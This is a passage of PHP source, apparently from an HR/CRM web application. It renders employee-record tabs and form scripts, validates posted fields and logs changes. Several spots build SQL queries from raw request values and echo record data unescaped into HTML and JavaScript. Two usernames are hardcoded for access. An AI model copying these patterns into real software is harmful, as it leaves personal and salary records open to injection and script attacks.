| 193 | $gthis=$this->gthis; | ||
| 194 | $edituser=$this->edituser; | ||
| 195 | $recruitdata=$this->recruitdata; | ||
| 196 | $isuser=$this->isuser; | ||
| 197 | $oldbkrec=$this->oldbkrec; | ||
| 198 | $themehome=$this->themehome; | ||
| 199 | |||
| 200 | $data="";$i=1;$tabsdata='';$firsttab="active"; | ||
| 201 | |||
| 202 | if(Auth::check()) | ||
| 203 | { | ||
| 204 | if(Auth::user()->moduleACL("HR",true,false,false)) | ||
| 205 | { | ||
| 206 | $frm['Files/Logs']["{{id}} {{firstname}}"][]=array(); | ||
| 207 | } | ||
| 208 | if(Auth::user()->moduleACL("Task",true,false,false)) | ||
| 209 | { | ||
| 210 | $frm['Tasks']["{{id}} {{firstname}}"][]=array(); | ||
| 211 | } | ||
| 212 | if(Auth::user()->moduleACL("Dialer",true,false,false)) | ||
| 213 | { | ||
| 214 | $frm['Feedback']["{{id}} {{firstname}}"][]=array(); | ||
| 215 | $frm['CallHistory']["{{id}} {{firstname}}"][]=array(); | ||
| 216 | |||
| 217 | $frm['QuestionnAire']["{{id}} {{firstname}}"][]=array(); | ||
| 218 | $frm['QuestionnAireHistory']["{{id}} {{firstname}}"][]=array(); | ||
| 219 | $frm['ComplaintManagement']["{{id}} {{firstname}}"][]=array(); | ||
| 220 | //$frm['ChildCase']["{{id}} {{firstname}}"][]=array(); | ||
| 221 | $frm['Racing Format']["{{id}} {{firstname}}"][]=array(); | ||
| 222 | if(Auth::user()->username =="B654321" || Auth::user()->username =="B12345") | ||
| 223 | { | ||
| 224 | $frm['LeadEntryForm']["{{id}} {{firstname}}"][]=array(); | ||
| 225 | } | ||
| 226 | |||
| 227 | |||
| 228 | |||
| 229 | } | ||
| 230 | } | ||
| 231 | |||
| 232 | $tabstr='<div class="tab_bar_green tabsbar-2"><ul class="row row-merge">'; | ||
| 233 | foreach($frm as $tbname=>$tabs) | ||
| 234 | { | ||
| 235 | if(($tbname=='Files/Logs'||$tbname=='Letters'||$tbname=='Tasks'||$tbname=='Feedback'||$tbname=='CallHistory')&&!$isuser)continue; | ||
| 236 | |||
| 237 | if($tbname!='') | ||
| 238 | { | ||
| 239 | $tabstr.="<li class='$firsttab'><a href='#tabs-$i' data-toggle=tab>$tbname</a></li>"; | ||
| 240 | $tabsdata.="<div class='$firsttab tab-pane ' id=tabs-$i>"; | ||
| 241 | $firsttab=''; | ||
| 242 | |||
| 243 | $fsetstr=""; | ||
| 244 | foreach($tabs as $fsetname=>$fset) | ||
| 245 | { | ||
| 246 | $fsetstr.="<div class=tab_generic><fieldset id='fsetid_".$fset[0][5]."'><legend class='new-recruit_legend' style='background:#9CBFFF'><b style='color:white'>".$this->HRTemplateString($fsetname,$this->HRFiledsStr)."</b></legend><div class='box_nrecrut'>"; | ||
| 247 | $rowval=''; | ||
| 248 | foreach($fset as $flines) | ||
| 249 | { | ||
| 250 | if($rowval==''){$rowval=$flines[1][1];if($flines[1][0]==0)$flines[1][0]=1;$fsetstr.="<div style='float:left;width:".(100/$flines[1][0])."%'>";} | ||
| 251 | else if($rowval!=$flines[1][1]){$rowval=$flines[1][1];$fsetstr.="</div><div style='float:left;width:".(100/$flines[1][0])."%'>";} | ||
| 252 | |||
| 253 | if($flines[0]!=''&&substr($flines[0], -2)=='~1') | ||
| 254 | { | ||
| 255 | $fsetstr.="<div class=tab_generic><fieldset style='margin-right:3px;' id='fsetid_".$flines[5]."_1'><legend class='new-recruit_legend' style='background:#9CBFFF'><b style='color:white'>".substr($flines[0], 0, -2)."</b><span class='pull-right'><a href=# onclick='$(\"#fsetid_".$flines[5]."_1_div\").toggle();return false;'><i class='fa fa-sort'></i></a></span></legend><div id='fsetid_".$flines[5]."_1_div'>"; | ||
| 256 | } | ||
| 257 | else if($flines[0]!=''&&substr($flines[0], -2)=='~2') | ||
| 258 | { | ||
| 259 | $fsetstr.="<div class=tab_generic><fieldset style='margin-right:3px;' id='fsetid_".$flines[5]."_1'><legend class='new-recruit_legend' style='background:#9CBFFF'><b style='color:white'>".substr($flines[0], 0, -2)."</b><span class='pull-right'><a href=# onclick='$(\"#fsetid_".$flines[5]."_1_div\").toggle();return false;'><i class='fa fa-sort'></i></a></span></legend><div id='fsetid_".$flines[5]."_1_div' style='display:none'>"; | ||
| 260 | } | ||
| 261 | |||
| 262 | if(!($flines[4][2]=='0'&&!$isuser)) | ||
| 263 | { | ||
| 264 | if(!($flines[4][1]=='0'&&!$edituser)) | ||
| 265 | { | ||
| 266 | if($flines[3]=='thumbnail')$fsetstr.=$this->makeThumbImg($flines[5]); | ||
| 267 | if($flines[6]=="S")$fsetstr.=$this->makeSelect($flines[5]); | ||
| 268 | if($flines[6]=="F")$fsetstr.=$this->makeTextBox($flines[5],"","file"); | ||
| 269 | if($flines[6]=="T"){$tsz='form_new form_new_amend';if($flines[8]!='')$tsz=$flines[8];$fsetstr.=$this->makeTextBox($flines[5],$tsz);} | ||
| 270 | if($flines[6]=="D")$fsetstr.=$this->makeTextBox($flines[5],""); | ||
| 271 | if($flines[6]=="A")$fsetstr.=$this->makeTextArea($flines[5]); | ||
| 272 | if($flines[6]=="L")$fsetstr.=$this->makeLabelText($flines[5],""); | ||
| 273 | if($flines[6]=="M")$fsetstr.=$this->makeMultiSelect($flines[5],$flines[2]); | ||
| 274 | if($flines[2]!='')$fsetstr.="<p><lable></lable><font color=#db4453>$flines[2]</font></p>"; | ||
| 275 | } | ||
| 276 | } | ||
| 277 | if($flines[0]!=''&&substr($flines[0], -2)=='~0') | ||
| 278 | { | ||
| 279 | $fsetstr.="</div></fieldset></div>"; | ||
| 280 | } | ||
| 281 | } | ||
| 282 | $fsetstr.="</div></div></fieldset></div>";if($rowval=='')$fsetstr=''; | ||
| 283 | } | ||
| 284 | $tabsdata.=$fsetstr; | ||
| 285 | if($tbname=='Files/Logs'&&$isuser)$tabsdata.=$this->createFilesTab(); | ||
| 286 | if($tbname=='Tasks'&&$edituser)$tabsdata.=$this->createTasksTab(); | ||
| 287 | if($tbname=='Feedback')$tabsdata.=$this->createDispoTab(); | ||
| 288 | if($tbname=='CallHistory')$tabsdata.=$this->createCallsTab(); | ||
| 289 | if($tbname=='QuestionnAire')$tabsdata.=$this->createQaireTab(); | ||
| 290 | if($tbname=='QuestionnAireHistory')$tabsdata.=$this->createQaireHistTab(); | ||
| 291 | if($tbname=='ComplaintManagement')$tabsdata.=$this->createCompManage(); | ||
| 292 | if($tbname=='ChildCase')$tabsdata.=$this->createChildCase(); | ||
| 293 | //if($tbname=='RacingCustomer')$tabsdata.=$this->createRacingCust(); | ||
| 294 | if($tbname=='Racing Format')$tabsdata.=$this->createRacingCust(); | ||
| 295 | if($tbname=='LeadEntryForm')$tabsdata.=$this->createLeadEntryForm(); | ||
| 296 | $tabsdata.="</div>"; | ||
| 297 | $i++; | ||
| 298 | } | ||
| 299 | } | ||
| 300 | $tabstr.='</ul></div>'; | ||
| 301 | |||
| 302 | $data="<div class=relativeWrap>".$tabstr.'<div class="tab-content">'.$tabsdata.'</div>'."</div>"; | ||
| 303 | |||
| 304 | |||
| 305 | $data="<div id=createtaskdiv></div><div style='clear:both'></div>".$this->colorCodeRec('candidatecategory').$data.$this->CreateFormScripts(); | ||
| 306 | return $data; | ||
| 307 | } | ||
| 308 | |||
| 309 | function CreateFormScripts() | ||
| 310 | { | ||
| 311 | $varid=$this->varid; | ||
| 312 | |||
| 313 | $wakka=$this->gthis; | ||
| 314 | $hrexclusiveflag=0;if(empty($this->recruitdata["peopledata"]['client']))$this->recruitdata["peopledata"]['client']='__'; | ||
| 315 | if(strstr($this->HRExclusiveClients,$this->recruitdata["peopledata"]['client'])) | ||
| 316 | { | ||
| 317 | if(!$wakka->IsAdmin()) | ||
| 318 | { | ||
| 319 | if(!strstr($wakka->getManagerUsers($wakka->getUserListforClient($this->recruitdata["peopledata"]['client'])),$wakka->GetUserName())) | ||
| 320 | { | ||
| 321 | if(!strstr($wakka->GetBBBUserData("clientsownerlist"),$this->recruitdata["peopledata"]['client']))$hrexclusiveflag=1; | ||
| 322 | } | ||
| 323 | } | ||
| 324 | } | ||
| 325 | if(!$this->isuser)$hrexclusiveflag=0; | ||
| 326 | |||
| 327 | $recordDetails = DB::table('records')->where('id','=',$varid)->select('priority')->get(); | ||
| 328 | $priority = $recordDetails[0]->priority; | ||
| 329 | |||
| 330 | $data=" <div id=recdialog></div><br><input type=hidden name='id' id='id' value='".$this->varid."'> | ||
| 331 | <input type=hidden name='workflowstatus' id='workflowstatus' value='".$this->recruitdata["peopledata"]["workflowstatus"]."'> | ||
| 332 | <input type=hidden name=varid id=varid value='".$this->varid."'> | ||
| 333 | <input type=hidden name=status id=status value='".$this->recruitdata["peopledata"]["status"]."'> | ||
| 334 | <script>$(document).ready(function() {try{".$this->emprecordScripts."}catch(e){}}); | ||
| 335 | \$(document).ready(function() | ||
| 336 | { | ||
| 337 | var dialerFlagExit=0; | ||
| 338 | if(\$('#dialer_flag').length) | ||
| 339 | { | ||
| 340 | if('".$this->recruitdata["peopledata"]['dialer_flag']."'=='VIP') | ||
| 341 | { | ||
| 342 | \$('#dialer_flag').val('".$this->recruitdata["peopledata"]['dialer_flag']."'); | ||
| 343 | |||
| 344 | dialerFlagExit=1; | ||
| 345 | } | ||
| 346 | |||
| 347 | if('".$priority."'=='VIP' && dialerFlagExit!=1) | ||
| 348 | { | ||
| 349 | \$('#dialer_flag').val('".$priority."'); | ||
| 350 | } | ||
| 351 | } | ||
| 352 | |||
| 353 | if (typeof kSetDData === 'function')kSetDData('C','crmid',".$this->varid."); | ||
| 354 | }); | ||
| 355 | </script>"; | ||
| 356 | |||
| 357 | if($this->isuser&&$this->edituser)//&&$this->recruitdata["peopledata"]['currentstatus']!=$wakka->HRCoreVars["systemExitStatus"] | ||
| 358 | { | ||
| 359 | $data.="<input type=button class='btn btn-green' value='Save Data' id=recruitsavedata onclick='recruitData();return false;'> | ||
| 360 | <input title='' class='tooltip tooltip1 btn btn-green_outline' type=button value='Reload Data' onclick='showRecruit(\"".$this->varid."\");return false;'> | ||
| 361 | "; | ||
| 362 | if(Auth::check()&&Auth::user()->moduleACL("Task",true,false,false))$data.="<input title='' class='tooltip tooltip1 btn btn-green_outline' type=button value='User Task' onclick='createTask(\"".$this->varid."\");return false;'>"; | ||
| 363 | $data.=" | ||
| 364 | <script> | ||
| 365 | function recruitData() | ||
| 366 | { | ||
| 367 | var postdata='varid='+$('#varid').val(); | ||
| 368 | |||
| 369 | var varslist='".$this->HRFiledsStr."'; | ||
| 370 | var varsarr=varslist.split(','); | ||
| 371 | for(var i=0;i<varsarr.length;i++) | ||
| 372 | { | ||
| 373 | if(varsarr[i]!=''&&$('#'+varsarr[i]).length)postdata+='&'+varsarr[i]+'='+encodeURIComponent($('#'+varsarr[i]).val()); | ||
| 374 | } | ||
| 375 | |||
| 376 | doAjax('record?action=save',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); | ||
| 377 | } | ||
| 378 | </script>"; | ||
| 379 | } | ||
| 380 | if($this->oldbkrec) | ||
| 381 | { | ||
| 382 | $data.="<input title='' class='tooltip tooltip1 btn btn-green_outline' type=button value='HR Closure' onclick='bkempclosure(\"".$this->bkvarid."\",\"hr\");return false;'> | ||
| 383 | <input title='' class='tooltip tooltip1 btn btn-green_outline' type=button value='Accounts Closure' onclick='bkempclosure(\"".$this->bkvarid."\",\"account\");return false;'> | ||
| 384 | <script> | ||
| 385 | function bkempclosure(tid,tmodule) | ||
| 386 | { | ||
| 387 | if(confirm('This Will mark Current Record Closed by your ID. Proceed?')) | ||
| 388 | { | ||
| 389 | var postdata='tid='+tid+'&tmodule='+tmodule; | ||
| 390 | doAjax('hr?action=BKEmpClosure',postdata,'searchresults'); | ||
| 391 | } | ||
| 392 | } | ||
| 393 | </script>"; | ||
| 394 | } | ||
| 395 | |||
| 396 | if($this->isuser&&$this->edituser) | ||
| 397 | { | ||
| 398 | $data.="<script> | ||
| 399 | var filevarstrlistarr='".$this->HRFileFieldsStr."'.split(','); | ||
| 400 | for(var i=0;i<filevarstrlistarr.length;i++)if(filevarstrlistarr[i]!=''&&$('#'+filevarstrlistarr[i]).length)ajaxFileUpload(filevarstrlistarr[i],'".$this->varid."'); | ||
| 401 | var datevarstrlistarr='".$this->HRDateFilds."'.split(','); | ||
| 402 | for(var i=0;i<datevarstrlistarr.length;i++)if(datevarstrlistarr[i]!=''&&$('#'+datevarstrlistarr[i]).length)$('#'+datevarstrlistarr[i]).datepicker({dateFormat: 'dd.mm.yy',inline: true,changeYear: true,selectOtherMonths: true,yearRange: '".(date('Y')-70).":".(date('Y')+20)."'}); | ||
| 403 | ajaxFileUpload('genericfileselect','".$this->varid."'); | ||
| 404 | function saltotal() | ||
| 405 | { | ||
| 406 | var stotal=0; | ||
| 407 | |||
| 408 | if($('#salbasic').val()=='')$('#salbasic').val('0'); | ||
| 409 | if($('#salhouserent').val()=='')$('#salhouserent').val('0'); | ||
| 410 | if($('#saltransport').val()=='')$('#saltransport').val('0'); | ||
| 411 | if($('#salfood').val()=='')$('#salfood').val('0'); | ||
| 412 | if($('#saltelephone').val()=='')$('#saltelephone').val('0'); | ||
| 413 | if($('#salmedical').val()=='')$('#salmedical').val('0'); | ||
| 414 | if($('#salelectricity').val()=='')$('#salelectricity').val('0'); | ||
| 415 | if($('#salother').val()=='')$('#salother').val('0'); | ||
| 416 | |||
| 417 | stotal+=parseFloat($('#salbasic').val()); | ||
| 418 | stotal+=parseFloat($('#salhouserent').val()); | ||
| 419 | stotal+=parseFloat($('#saltransport').val()); | ||
| 420 | stotal+=parseFloat($('#salfood').val()); | ||
| 421 | stotal+=parseFloat($('#saltelephone').val()); | ||
| 422 | stotal+=parseFloat($('#salmedical').val()); | ||
| 423 | stotal+=parseFloat($('#salelectricity').val()); | ||
| 424 | stotal+=parseFloat($('#salother').val()); | ||
| 425 | |||
| 426 | $('#saltotal').val(stotal); | ||
| 427 | } | ||
| 428 | $('#salelectricity').keyup(saltotal); | ||
| 429 | $('#salmedical').keyup(saltotal); | ||
| 430 | $('#saltelephone').keyup(saltotal); | ||
| 431 | $('#saltransport').keyup(saltotal); | ||
| 432 | $('#salhouserent').keyup(saltotal); | ||
| 433 | $('#salbasic').keyup(saltotal); | ||
| 434 | $('#salfood').keyup(saltotal); | ||
| 435 | $('#salother').keyup(saltotal); | ||
| 436 | $('#saltotal').keyup(saltotal); | ||
| 437 | |||
| 438 | function recd_sendmail(filepath){mailFile(filepath,$('#recd_to').val(),$('#recd_subject').val(),$('#recd_from').val(),encodeURIComponent($('#recd_message').val()));} | ||
| 439 | function mailFileDialog(filepath) | ||
| 440 | { | ||
| 441 | var dhtml='<fieldset><legend class=\"new-recruit_legend\">Send File as Email</legend>'; | ||
| 442 | dhtml+='<p style=\"clear:both\"><label class=label-small_new style=\"width:25%\">From:</label><select class=\"form_hrm_select\" style=\"width:50%\" id=recd_from><option value=system>System</option><option value=\"".$wakka->GetUserName()."\">".$wakka->GetUserName()."</option></select></p>'; | ||
| 443 | dhtml+='<p style=\"clear:both\"><label class=label-small_new style=\"width:25%\">To (comma sep):</label><input type=text id=recd_to class=\"form_new form_new_amend\" value=\"".$this->recruitdata["peopledata"]["emailid"]."\"></p>'; | ||
| 444 | dhtml+='<p style=\"clear:both\"><label class=label-small_new style=\"width:25%\">Subject:</label><input type=text id=recd_subject class=\"form_new form_new_amend\" value=\"".$this->varid." Innovation : File Attached\"></p>'; | ||
| 445 | dhtml+='<p style=\"clear:both\"><label class=label-small_new style=\"width:25%\">Message:</label><textarea class=\"form_new form_new_amend\" id=recd_message style=\"width:60%\">Please find the Document Attached</textarea></p>'; | ||
| 446 | dhtml+='<p style=\"clear:both\"><label class=label-small_new style=\"width:25%\">Attachment:</label>'+filepath+'</p>'; | ||
| 447 | dhtml+='</fieldset>'; | ||
| 448 | |||
| 449 | $('#recdialog').html(''); | ||
| 450 | $('#recdialog').html(dhtml); | ||
| 451 | |||
| 452 | $('#recdialog').dialog({ | ||
| 453 | autoOpen: false, | ||
| 454 | width: '70%', | ||
| 455 | buttons: { | ||
| 456 | 'Send Mail' : function() { | ||
| 457 | recd_sendmail(filepath);$(document).scrollTop(0); | ||
| 458 | $(this).dialog('close'); | ||
| 459 | }, | ||
| 460 | 'Close': function() { | ||
| 461 | $(this).dialog('close'); | ||
| 462 | } | ||
| 463 | } | ||
| 464 | }); | ||
| 465 | $('#recdialog').dialog('open'); | ||
| 466 | } | ||
| 467 | |||
| 468 | function deleteTask(tid) | ||
| 469 | { | ||
| 470 | var postdata='tid='+tid; | ||
| 471 | doAjax('hr?action=DeleteTask',postdata,'createtaskdiv'); | ||
| 472 | } | ||
| 473 | function ajaxFileUpload3(eid,varid) | ||
| 474 | { | ||
| 475 | var flg=1; | ||
| 476 | var gn=''; | ||
| 477 | var uhandle=$('#'+eid).ajaxfileupload({ | ||
| 478 | 'action': 'hr?action=PdfSplit', | ||
| 479 | 'params': { | ||
| 480 | 'name': eid, | ||
| 481 | 'varid' : varid, | ||
| 482 | 'gr':gn, | ||
| 483 | }, | ||
| 484 | 'onComplete': function(response) { | ||
| 485 | if(response.status==false) | ||
| 486 | { | ||
| 487 | $('#createtaskdiv').html('<div class=\"message error close\"><h2>Error!</h2><p>'+response.message+'</p></div>'); | ||
| 488 | messageCloseFun(); | ||
| 489 | $('#'+eid).val(''); | ||
| 490 | return false; | ||
| 491 | } | ||
| 492 | else | ||
| 493 | { | ||
| 494 | $('#createtaskdiv').html('<div class=\"message success close\"><h2>Success!</h2><p>File Uploaded</p></div>'); | ||
| 495 | messageCloseFun(); | ||
| 496 | } | ||
| 497 | }, | ||
| 498 | 'onStart': function() { | ||
| 499 | flg=1; | ||
| 500 | $('#fd'+eid).html('<font color=#4b89dc>Uploading...</font>'); | ||
| 501 | console.log('started:'); | ||
| 502 | }, | ||
| 503 | 'onCancel': function() { | ||
| 504 | console.log('no file selected'); | ||
| 505 | } | ||
| 506 | }); | ||
| 507 | |||
| 508 | return false; | ||
| 509 | } | ||
| 510 | ajaxFileUpload3('pdfsplitfile',".$this->varid."); | ||
| 511 | function clearFileVars() | ||
| 512 | { | ||
| 513 | for(var i=0;i<filevarstrlistarr.length;i++)if(filevarstrlistarr[i]!=''&&$('#'+filevarstrlistarr[i]).length)$('#'+filevarstrlistarr[i]).val(''); | ||
| 514 | } | ||
| 515 | function approveFData(tid,tvarid) | ||
| 516 | { | ||
| 517 | var postdata='tid='+tid+'&varid='+tvarid; | ||
| 518 | doAjax('hr?action=RecruitApprove',postdata,'createtaskdiv'); | ||
| 519 | return false; | ||
| 520 | } | ||
| 521 | function renewRecord() | ||
| 522 | { | ||
| 523 | if(confirm('This Will Archive Current Client data and clean the record. Are you sure?')) | ||
| 524 | { | ||
| 525 | var postdata='varid='+$('#varid').val(); | ||
| 526 | doAjax('hr?action=RenewRecord',postdata,'createtaskdiv'); | ||
| 527 | } | ||
| 528 | } | ||
| 529 | function blacklistcandidate() | ||
| 530 | { | ||
| 531 | if(confirm('This Will mark candidate as Blacklisted. Are you sure?')) | ||
| 532 | { | ||
| 533 | var postdata='varid='+$('#varid').val(); | ||
| 534 | doAjax('hr?action=BlacklistRecord',postdata,'createtaskdiv'); | ||
| 535 | } | ||
| 536 | } | ||
| 537 | </script>"; | ||
| 538 | } | ||
| 539 | if($hrexclusiveflag==1) | ||
| 540 | { | ||
| 541 | $data.="<script> | ||
| 542 | $(document).ready(function(){ | ||
| 543 | $('#tabs-6').css({'display':'none'}); | ||
| 544 | $('#tabs-7').css({'display':'none'}); | ||
| 545 | $('#tabs-9').css({'display':'none'}); | ||
| 546 | $('#tabs-10').css({'display':'none'}); | ||
| 547 | $('#tabs-11').css({'display':'none'}); | ||
| 548 | }); | ||
| 549 | </script>"; | ||
| 550 | } | ||
| 551 | |||
| 552 | return $data; | ||
| 553 | } | ||
| 554 | |||
| 555 | |||
| 556 | function checkDuplicate($varid,$key,$val) | ||
| 557 | { | ||
| 558 | $gthis=$this->gthis; | ||
| 559 | if($val=="") | ||
| 560 | { | ||
| 561 | return false; | ||
| 562 | } | ||
| 563 | else | ||
| 564 | { | ||
| 565 | $cachearray=explode(",",$gthis->EMPCacheCols); | ||
| 566 | if(in_array($key,$cachearray)&&$key!='') | ||
| 567 | { | ||
| 568 | if($gthis->getCount("records","`$key`='$val' and id!='$varid'")) | ||
| 569 | return true; | ||
| 570 | else | ||
| 571 | return false; | ||
| 572 | } | ||
| 573 | else | ||
| 574 | { | ||
| 575 | if($gthis->getCount("records","peopledata like '%\"$key\";s:".strlen($val).":\"$val\"%' and id!='$varid'")) | ||
| 576 | return true; | ||
| 577 | else | ||
| 578 | return false; | ||
| 579 | } | ||
| 580 | } | ||
| 581 | } | ||
| 582 | |||
| 583 | function chechAlNum($val) | ||
| 584 | { | ||
| 585 | if($val=="") | ||
| 586 | { | ||
| 587 | return true; | ||
| 588 | } | ||
| 589 | else | ||
| 590 | { | ||
| 591 | if(ctype_alnum($val)) | ||
| 592 | return true; | ||
| 593 | else | ||
| 594 | return false; | ||
| 595 | } | ||
| 596 | } | ||
| 597 | function validatePostData() | ||
| 598 | { | ||
| 599 | $varid=$this->varid; | ||
| 600 | $wakka=$this->gthis; | ||
| 601 | $ppldata=$this->recruitdata["peopledata"]; | ||
| 602 | $message=''; | ||
| 603 | if($wakka->getCount("records","id='$varid'")!=1)$message=" Record doesnot exists, "; | ||
| 604 | |||
| 605 | //only if active statuses | ||
| 606 | $empstatus=Input::get('currentstatus');if($empstatus=="")$empstatus="__NOCHECK__"; | ||
| 607 | |||
| 608 | if(stristr($wakka->HRCoreVars['hrrecruitstatuses'],$empstatus)||stristr($wakka->HRCoreVars['hrworkingstatus'],$empstatus)) | ||
| 609 | { | ||
| 610 | //$this->HRForms[$parts[3]][$parts[4]][]=array($parts[5],$parts[6],$parts[7],$parts[8],$parts[9],$parts[0],$parts[1],$parts[2],$parts[10]); | ||
| 611 | foreach($this->HRForms as $tbname=>$tabs) | ||
| 612 | { | ||
| 613 | if($tbname!='') | ||
| 614 | { | ||
| 615 | foreach($tabs as $fsetname=>$fset) | ||
| 616 | { | ||
| 617 | foreach($fset as $flines) | ||
| 618 | { | ||
| 619 | if($flines[3]!="") | ||
| 620 | { | ||
| 621 | $validations=explode("|",$flines[3]); | ||
| 622 | foreach($validations as $vline) | ||
| 623 | { | ||
| 624 | if($vline!="") | ||
| 625 | { | ||
| 626 | |||
| 627 | $vline=str_replace("__COMMA__",",",$vline); | ||
| 628 | $fline5=Input::get($flines[5]); | ||
| 629 | |||
| 630 | //$message.="[$flines[5]|$vline] "; | ||
| 631 | if($vline=="NONEMPTY") | ||
| 632 | { | ||
| 633 | if(empty($fline5))$message.=" ".$this->HRFieldNames[$flines[5]].","; | ||
| 634 | } | ||
| 635 | else if(substr($vline,0,5)=="REGEX"&&$fline5!='') | ||
| 636 | { | ||
| 637 | if(!preg_match("/".substr($vline,5)."/", $fline5))$message.=" Invalid ".$this->HRFieldNames[$flines[5]].","; | ||
| 638 | } | ||
| 639 | else if($vline=="NODUP") | ||
| 640 | { | ||
| 641 | if($this->checkDuplicate($varid,$flines[5],Input::get($flines[5])))$message.=" ".$this->HRFieldNames[$flines[5]]." Already Exists".","; | ||
| 642 | } | ||
| 643 | else if($vline=="ALNUM") | ||
| 644 | { | ||
| 645 | if(!$this->chechAlNum(Input::get($flines[5])))$message.=" ".$this->HRFieldNames[$flines[5]]." Can only Have Numbers and Letters".","; | ||
| 646 | } | ||
| 647 | else if(substr($vline,0,8)=="DT_C_MEX"&&$ppldata[$flines[5]]==''&&Input::get($flines[5])!='') | ||
| 648 | { | ||
| 649 | $duration = explode(".",Input::get($flines[5])); | ||
| 650 | if(sizeof($duration)==3) | ||
| 651 | { | ||
| 652 | $duration=mktime(0, 0, 0, $duration[1], $duration[0], $duration[2]); | ||
| 653 | if($duration-time()-(intval(substr($vline,8))*30*24*60*60)<=0)$message.=" ".$this->HRFieldNames[$flines[5]]." needs to more then ".substr($vline,8)." months,"; | ||
| 654 | } | ||
| 655 | else $message.=" Error : ".$this->HRFieldNames[$flines[5]]; | ||
| 656 | } | ||
| 657 | else if(substr($vline,0,8)=="DT_D_MEX"&&Input::get($flines[5])!='') | ||
| 658 | { | ||
| 659 | $duration = explode(".",Input::get($flines[5])); | ||
| 660 | if(sizeof($duration)==3) | ||
| 661 | { | ||
| 662 | $duration=mktime(0, 0, 0, $duration[1], $duration[0], $duration[2]); | ||
| 663 | if(time()-$duration-(intval(substr($vline,8))*30*24*60*60)<=0)$message.=" ".$this->HRFieldNames[$flines[5]]." needs to more then ".substr($vline,8)." months,"; | ||
| 664 | } | ||
| 665 | else $message.=" Error : ".$this->HRFieldNames[$flines[5]]; | ||
| 666 | } | ||
| 667 | } | ||
| 668 | } | ||
| 669 | } | ||
| 670 | } | ||
| 671 | } | ||
| 672 | } | ||
| 673 | } | ||
| 674 | |||
| 675 | //select values check | ||
| 676 | $dropsarr=explode(",",$this->HRDropFilds); | ||
| 677 | foreach($dropsarr as $dropitem) | ||
| 678 | { | ||
| 679 | if($dropitem=='client')$selvals=implode("~",$this->gthis->clientsReadAccess()); | ||
| 680 | else $selvals=$this->FormSelectVals[$dropitem]; | ||
| 681 | |||
| 682 | if(Input::get($dropitem)!=''&&Input::get($dropitem)!='undefined'&&!strstr($selvals,trim(Input::get($dropitem)))) | ||
| 683 | $message.=" Wrong Value of '".$this->HRFieldNames[$dropitem]."'"; | ||
| 684 | } | ||
| 685 | |||
| 686 | //date check | ||
| 687 | $datesarr=explode(",",$this->HRDateFilds); | ||
| 688 | foreach($datesarr as $dateitem) | ||
| 689 | { | ||
| 690 | $dateitem=trim($dateitem); | ||
| 691 | if($dateitem!='') | ||
| 692 | { | ||
| 693 | if(Input::get($dateitem)!=''&&Input::get($dateitem)!='undefined') | ||
| 694 | { | ||
| 695 | $dtparts=explode(".",Input::get($dateitem)); | ||
| 696 | if(sizeof($dtparts)==3&&intval($dtparts[0])<32&&intval($dtparts[1])<13&&intval($dtparts[2])>1900); | ||
| 697 | else $message.=" Wrong Value of '".$this->HRFieldNames[$dateitem]."'"; | ||
| 698 | } | ||
| 699 | } | ||
| 700 | } | ||
| 701 | } | ||
| 702 | |||
| 703 | //client cannot be changed unless Admin | ||
| 704 | if(!$wakka->IsAdmin())if(trim($ppldata["client"])!=""&&$ppldata["client"]!=Input::get("client"))$message=" Client Cannot be changed, use Renew-Record"; | ||
| 705 | |||
| 706 | if(Input::get('currentstatus')==$wakka->HRCoreVars['hrTriggerHoldStatus']) | ||
| 707 | { | ||
| 708 | $message="";//bypass checks for candidates | ||
| 709 | } | ||
| 710 | return $message; | ||
| 711 | } | ||
| 712 | |||
| 713 | function updateArrayWithPostData() | ||
| 714 | { | ||
| 715 | $ppldata=$this->recruitdata["peopledata"]; | ||
| 716 | $changearr=$this->recruitdata['modifylog']; | ||
| 717 | $wakka=$this->gthis; | ||
| 718 | |||
| 719 | $ppldata['varid']=Input::get('varid'); | ||
| 720 | $ppldata['id']=Input::get('varid'); | ||
| 721 | $client=Input::get('client'); | ||
| 722 | |||
| 723 | //file vars change the file names to store,and if empty keep the old name | ||
| 724 | $tmpstr=explode(",",$this->HRFileFieldsStr); | ||
| 725 | foreach($tmpstr as $tmpelem) | ||
| 726 | { | ||
| 727 | $elemfname=$ppldata['varid']."_".$tmpelem.".pdf"; | ||
| 728 | if(Input::has($tmpelem)) | ||
| 729 | { | ||
| 730 | $ppldata[$tmpelem]=$wakka->safeString(Input::get($tmpelem));//save the new name as old val in case of files | ||
| 731 | Input::merge(array($tmpelem => $elemfname)); | ||
| 732 | $this->recruitdata['dirty'][$tmpelem]=1; | ||
| 733 | } | ||
| 734 | else if(!empty($ppldata[$tmpelem])) | ||
| 735 | { | ||
| 736 | if($ppldata[$tmpelem]==$elemfname||$ppldata[$tmpelem]=="") | ||
| 737 | { | ||
| 738 | Input::merge(array($tmpelem => $ppldata[$tmpelem])); | ||
| 739 | } | ||
| 740 | else | ||
| 741 | { | ||
| 742 | Input::merge(array($tmpelem => $elemfname)); | ||
| 743 | } | ||
| 744 | } | ||
| 745 | } | ||
| 746 | |||
| 747 | $tmpstr=explode(",",$this->HRFiledsStr); | ||
| 748 | $newdata=array();foreach($tmpstr as $key) | ||
| 749 | { | ||
| 750 | if(Input::exists($key))$newdata[$key]=trim(Input::get($key)); | ||
| 751 | } | ||
| 752 | |||
| 753 | foreach($newdata as $key=>$newval) | ||
| 754 | { | ||
| 755 | $val=$ppldata[$key]; | ||
| 756 | if($newval!=trim($val)) | ||
| 757 | { | ||
| 758 | if(strstr($changearr[$changearr["updated"]],$key)==FALSE)$changearr[$changearr["updated"]].="$key|".str_replace(array("|",",")," ",$val)."|".str_replace(array("|",",")," ",$wakka->safeString($newval)).","; | ||
| 759 | $this->recruitdata['dirty'][$key]=1; | ||
| 760 | |||
| 761 | $this->empWorkflowTrigger($ppldata['varid'],$client,$key,$newval,$val,$ppldata,$newdata); | ||
| 762 | $this->empAnalytics($ppldata['varid'],$ppldata,$key,$newval,$val); | ||
| 763 | } | ||
| 764 | } | ||
| 765 | |||
| 766 | foreach($tmpstr as $tmpelem) | ||
| 767 | { | ||
| 768 | if(Input::exists($tmpelem)) | ||
| 769 | { | ||
| 770 | $ppldata[$tmpelem]= $wakka->safeString(Input::get($tmpelem)); | ||
| 771 | if($ppldata[$tmpelem]=="")unset($ppldata[$tmpelem]); | ||
| 772 | } | ||
| 773 | } | ||
| 774 | |||
| 775 | |||
| 776 | //run holded up triggers if | ||
| 777 | if($newdata["currentstatus"]!=$wakka->HRCoreVars['hrTriggerHoldStatus']) | ||
| 778 | { | ||
